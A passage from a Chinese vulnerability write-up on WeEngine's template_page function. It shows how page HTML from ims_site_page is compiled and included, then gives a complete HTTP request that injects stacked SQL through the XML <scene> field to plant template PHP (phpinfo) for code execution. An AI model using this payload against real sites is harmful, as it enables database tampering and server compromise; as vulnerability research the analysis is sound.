var(--hljs-string);">&#39;goodnum&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$goodnum</span>[<span style="color: var(--hljs-string);">&#39;goodnum&#39;</span>] + <span style="color: var(--hljs-number);">1</span>), <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;id&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$id</span>));<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">if</span>(!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$updatesql</span>)) {<br/>                isetcookie(<span style="color: var(--hljs-string);">&#39;__havegood[&#39;</span>.<span style="color: var(--hljs-attribute);">$id</span>.<span style="color: var(--hljs-string);">&#39;]&#39;</span>, <span style="color: var(--hljs-attribute);">$id</span>, <span style="color: var(--hljs-number);">86400</span>*<span style="color: var(--hljs-number);">30</span>*<span style="color: var(--hljs-number);">12</span>);<br/>                message(<span style="color: var(--tertiary-high);">error</span>(<span style="color: var(--hljs-string);">&#39;0&#39;</span>, <span style="color: var(--hljs-string);">&#39;&#39;</span>), <span style="color: var(--hljs-string);">&#39;&#39;</span>, <span style="color: var(--hljs-string);">&#39;ajax&#39;</span>);<br/>            }<span style="color: var(--primary-very-high);font-weight: bold;">else</span> { <br/>                message(<span style="color: var(--tertiary-high);">error</span>(<span style="color: var(--hljs-string);">&#39;1&#39;</span>, <span style="color: var(--hljs-string);">&#39;&#39;</span>), <span style="color: var(--hljs-string);">&#39;&#39;</span>, <span style="color: var(--hljs-string);">&#39;ajax&#39;</span>);<br/>            }<br/>        }        <br/>    }<br/>} <span style="color: var(--primary-very-high);font-weight: bold;">else</span> {<br/>    <span style="color: var(--hljs-attribute);">$footer_off</span> = true;<br/>    template_page(<span style="color: var(--hljs-attribute);">$id</span>);<br/>}<br/></code></pre><p cid="n70" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p cid="n70" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;">首先判断</span><span md-inline="code" spellcheck="false" style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">$do</code><span md-inline="plain" style="box-sizing: border-box;">的类型，如果不是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">getnum</code><span md-inline="plain" style="box-sizing: border-box;">和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">addnum</code><span md-inline="plain" style="box-sizing: border-box;">时，进入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">template_page</code><span md-inline="plain" style="box-sizing: border-box;">函数。</span></span></span></span></span></p><p cid="n72" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></span></span></span></p><p cid="n73" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">跟进</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">/app/common/template.func.php</code><span md-inline="plain" style="box-sizing: border-box;"> 111行：</span></span></p><pre style="font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 14px;overflow: visible;color: rgb(34, 34, 34);text-align: start;background-color: rgb(255, 255, 255);"><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><code style="font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 1em;overflow: auto;tab-size: 4;color: var(--primary-very-high);background: var(--blend-primary-secondary-5);overflow-wrap: normal;display: block;padding: 0.5em;max-height: 500px;"><span style="color: var(--primary-very-high);font-weight: bold;">function</span> <span style="color: var(--hljs-string);font-weight: bold;">template_page</span>(<span style="color: var(--hljs-attribute);">$id</span>, <span style="color: var(--hljs-attribute);">$flag</span> = TEMPLATE_DISPLAY) {<br/>    <span style="color: var(--primary-very-high);font-weight: bold;">global</span> <span style="color: var(--hljs-attribute);">$_W</span>;<br/>    <span style="color: var(--hljs-attribute);">$page</span> = pdo_fetch(<span style="color: var(--hljs-string);">&#34;SELECT * FROM &#34;</span>.tablename(<span style="color: var(--hljs-string);">&#39;site_page&#39;</span>).<span style="color: var(--hljs-string);">&#34; WHERE id = :id LIMIT 1&#34;</span>, <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;:id&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$id</span>));<br/>    <span style="color: var(--primary-very-high);font-weight: bold;">if</span> (<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$page</span>)) {<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">return</span> <span style="color: var(--tertiary-high);">error</span>(<span style="color: var(--hljs-number);">1</span>, <span style="color: var(--hljs-string);">&#39;Error: Page is not found&#39;</span>);<br/>    }<br/>    <span style="color: var(--primary-very-high);font-weight: bold;">if</span> (<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;html&#39;</span>])) {<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">return</span> <span style="color: var(--hljs-string);">&#39;&#39;</span>;<br/>    }<br/>    <span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;html&#39;</span>] = str_replace(<span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;&lt;?&#39;</span>, <span style="color: var(--hljs-string);">&#39;&lt;%&#39;</span>, <span style="color: var(--hljs-string);">&#39;&lt;?php&#39;</span>, <span style="color: var(--hljs-string);">&#39;{php&#39;</span>), <span style="color: var(--hljs-string);">&#39;_&#39;</span>, <span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;html&#39;</span>]);<br/>    <span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;html&#39;</span>] = preg_replace(<span style="color: var(--hljs-string);">&#39;/&lt;\s*?script.*(src|language)+/i&#39;</span>, <span style="color: var(--hljs-string);">&#39;_&#39;</span>, <span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;html&#39;</span>]);<br/>    <span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;params&#39;</span>] = json_decode(<span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;params&#39;</span>], true);<br/>    <span style="color: var(--hljs-attribute);">$GLOBALS</span>[<span style="color: var(--hljs-string);">&#39;title&#39;</span>] = htmlentities(<span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;title&#39;</span>], ENT_QUOTES, <span style="color: var(--hljs-string);">&#39;UTF-8&#39;</span>);<br/>    <span style="color: var(--hljs-attribute);">$GLOBALS</span>[<span style="color: var(--hljs-string);">&#39;_share&#39;</span>] = <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;desc&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;description&#39;</span>], <span style="color: var(--hljs-string);">&#39;title&#39;</span> =&gt; <span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;title&#39;</span>], <span style="color: var(--hljs-string);">&#39;imgUrl&#39;</span> =&gt; tomedia(<span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;params&#39;</span>][<span style="color: var(--hljs-string);">&#39;0&#39;</span>][<span style="color: var(--hljs-string);">&#39;params&#39;</span>][<span style="color: var(--hljs-string);">&#39;thumb&#39;</span>]));;<br/>    <span style="color: var(--hljs-attribute);">$compile</span> = IA_ROOT . <span style="color: var(--hljs-string);">&#34;/data/tpl/app/<span style="color: var(--primary-very-high);">{$id}</span>.<span style="color: var(--primary-very-high);">{$_W[&#39;template&#39;]}</span>.tpl.php&#34;</span>;<br/>    <span style="color: var(--hljs-attribute);">$path</span> = dirname(<span style="color: var(--hljs-attribute);">$compile</span>);<br/>    <span style="color: var(--primary-very-high);font-weight: bold;">if</span> (!is_dir(<span style="color: var(--hljs-attribute);">$path</span>)) {<br/>        load()-&gt;func(<span style="color: var(--hljs-string);">&#39;file&#39;</span>);<br/>        mkdirs(<span style="color: var(--hljs-attribute);">$path</span>);<br/>    }<br/>    <span style="color: var(--hljs-attribute);">$content</span> = template_parse(<span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;html&#39;</span>]);<br/>    <span style="color: var(--primary-very-high);font-weight: bold;">if</span> (!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;params&#39;</span>][<span style="color: var(--hljs-number);">0</span>][<span style="color: var(--hljs-string);">&#39;params&#39;</span>][<span style="color: var(--hljs-string);">&#39;bgColor&#39;</span>])) {<br/>        <span style="color: var(--hljs-attribute);">$content</span> .= <span style="color: var(--hljs-string);">&#39;&lt;style&gt;body{background-color:&#39;</span>.<span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;params&#39;</span>][<span style="color: var(--hljs-number);">0</span>][<span style="color: var(--hljs-string);">&#39;params&#39;</span>][<span style="color: var(--hljs-string);">&#39;bgColor&#39;</span>].<span style="color: var(--hljs-string);">&#39; !important;}&lt;/style&gt;&#39;</span>;<br/>    }<br/>    <span style="color: var(--hljs-attribute);">$GLOBALS</span>[<span style="color: var(--hljs-string);">&#39;bottom_menu&#39;</span>] = <span style="color: var(--hljs-attribute);">$page</span>[<span style="color: var(--hljs-string);">&#39;params&#39;</span>][<span style="color: var(--hljs-number);">0</span>][<span style="color: var(--hljs-string);">&#39;property&#39;</span>][<span style="color: var(--hljs-number);">0</span>][<span style="color: var(--hljs-string);">&#39;params&#39;</span>][<span style="color: var(--hljs-string);">&#39;bottom_menu&#39;</span>];<br/>    file_put_contents(<span style="color: var(--hljs-attribute);">$compile</span>, <span style="color: var(--hljs-attribute);">$content</span>);<br/>    <span style="color: var(--primary-very-high);font-weight: bold;">switch</span> (<span style="color: var(--hljs-attribute);">$flag</span>) {<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">case</span> TEMPLATE_DISPLAY:<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">default</span>:<br/>            extract(<span style="color: var(--hljs-attribute);">$GLOBALS</span>, EXTR_SKIP);<br/>            template(<span style="color: var(--hljs-string);">&#39;common/header&#39;</span>);<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">include</span> <span style="color: var(--hljs-attribute);">$compile</span>;<br/>            template(<span style="color: var(--hljs-string);">&#39;common/footer&#39;</span>);<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">break</span>;<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">case</span> TEMPLATE_FETCH:<br/>            extract(<span style="color: var(--hljs-attribute);">$GLOBALS</span>, EXTR_SKIP);<br/>            ob_clean();<br/>            ob_start();<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">include</span> <span style="color: var(--hljs-attribute);">$compile</span>;<br/>            <span style="color: var(--hljs-attribute);">$contents</span> = ob_get_contents();<br/>            ob_clean();<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">return</span> <span style="color: var(--hljs-attribute);">$contents</span>;<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">break</span>;<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">case</span> TEMPLATE_INCLUDEPATH:<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">return</span> <span style="color: var(--hljs-attribute);">$compile</span>;<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">break</span>;<br/>    }<br/>}<br/></code></pre><p cid="n73" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"></span><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p cid="n73" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;">首先根据</span><span md-inline="code" spellcheck="false" style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">id</code><span md-inline="plain" style="box-sizing: border-box;">从</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">ims_site_page</code><span md-inline="plain" style="box-sizing: border-box;">数据表里读取页面信息，然后过滤掉敏感信息，最后通过</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">file_put_contents</code><span md-inline="plain" style="box-sizing: border-box;">写入到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">$compile</code><span md-inline="plain" style="box-sizing: border-box;">，然后在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">switch</code><span md-inline="plain" style="box-sizing: border-box;">中被包含</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">include $compile;</code><span md-inline="plain" style="box-sizing: border-box;">。</span></span></span></span></span></span></span><br/></p><p cid="n75" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></span></span></span></span></span></p><p cid="n76" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">因此我们可以利用 SQL 注入，向</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">ims_site_page</code><span md-inline="plain" style="box-sizing: border-box;">表中插入一句话数据。如下：</span></span></p><pre spellcheck="false" lang="http" cid="n77" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-size: 0.9rem;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;padding: 3px 5px;width: inherit;border-width: 1px;border-style: solid;border-color: rgb(122, 122, 122);-webkit-font-smoothing: initial;line-height: 1.55rem;border-radius: 2px;overflow-wrap: normal;font-family: &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;margin-top: 2rem !important;margin-bottom: 2rem !important;"> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">POST</span> <span style="box-sizing: border-box;color: rgb(255, 85, 0);">/wq/new/api.php?id=1&amp;timestamp=1622388248&amp;nonce=SATNv&amp;signature=d886b80d868b6fb1038c77f1f26ae5f2891a3b22</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">HTTP/1.1</span></span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Host:</span><span style="box-sizing: border-box;color: rgb(34, 162, 201);"> 192.168.49.47</span></span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Pragma:</span><span style="box-sizing: border-box;color: rgb(34, 162, 201);"> no-cache</span></span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Cache-Control:</span><span style="box-sizing: border-box;color: rgb(34, 162, 201);"> no-cache</span></span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Upgrade-Insecure-Requests:</span><span style="box-sizing: border-box;color: rgb(34, 162, 201);"> 1</span></span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">User-Agent:</span><span style="box-sizing: border-box;color: rgb(34, 162, 201);"> Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36</span></span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Accept:</span><span style="box-sizing: border-box;color: rgb(34, 162, 201);"> text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span></span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Accept-Encoding:</span><span style="box-sizing: border-box;color: rgb(34, 162, 201);"> gzip, deflate</span></span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Accept-Language:</span><span style="box-sizing: border-box;color: rgb(34, 162, 201);"> zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7</span></span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Connection:</span><span style="box-sizing: border-box;color: rgb(34, 162, 201);"> close</span></span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Content-Length:</span><span style="box-sizing: border-box;color: rgb(34, 162, 201);"> 440</span></span><br/> <br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&lt;xml&gt;</span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&lt;ToUserName&gt;one&lt;/ToUserName&gt;</span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&lt;FromUserName&gt;two&lt;/FromUserName&gt;</span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&lt;CreateTime&gt;1348831806&lt;/CreateTime&gt;</span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&lt;MsgType&gt;qr&lt;/MsgType&gt;</span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&lt;Content&gt;test&lt;/Content&gt;</span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&lt;type&gt;text&lt;/type&gt;</span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&lt;Event&gt;hello&lt;/Event&gt;</span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&lt;scene&gt;test&#39;;insert into ims_site_page(id,uniacid,multiid,title,description,params,html,multipage,type,status,createtime,goodnum) values(1,1,1,&#39;4&#39;,&#39;5&#39;,&#39;[{&#34;params&#34;:{&#34;thumb&#34;:&#34;&#34;}}]&#39;,&#39;{if phpinfo())?&gt;//}&#39;,&#39;8&#39;,&#39;9&#39;,&#39;10&#39;,&#39;11&#39;,&#39;12&#39;);&lt;/scene&gt;</span><br/> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&lt;/xml&gt;</span></pre><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.42118432026688907" data-s="300,640" style="" data-type="png" data-w="2398" src="https://wechat2rss.xlab.app/img-proxy/?k=83eecca3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqPmmwgiaklVPDY5n04Im8Cglcp1YzUq5CKCibPFtJ9XpPicYdD9GUcpBF4eicDBCh3THZkEOo3nrwJRg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n80" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">这里的模板内容PHP 代码可以参考：</span></p><p cid="n80" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;"></span>PHP语句：</p><p cid="n80" mdtype="paragraph"><span md-inline="link" style="box-sizing: border-box;"><span style="caret-color: rgb(91, 128, 141);color: rgb(91, 128, 141);font-family: Vollkorn, Palatino, Times;orphans: 4;text-align: start;white-space: pre-wrap;word-spacing: 0.85px;text-size-adjust: auto;background-color: rgb(255, 255, 255);text-decoration: underline;"><a href="https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542" target="_blank">https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542</a></span>）</span></p><p cid="n81" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">然后根据官网文档</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">路由介绍</span>（<span style="caret-color: rgb(91, 128, 141);color: rgb(91, 128, 141);font-family: Vollkorn, Palatino, 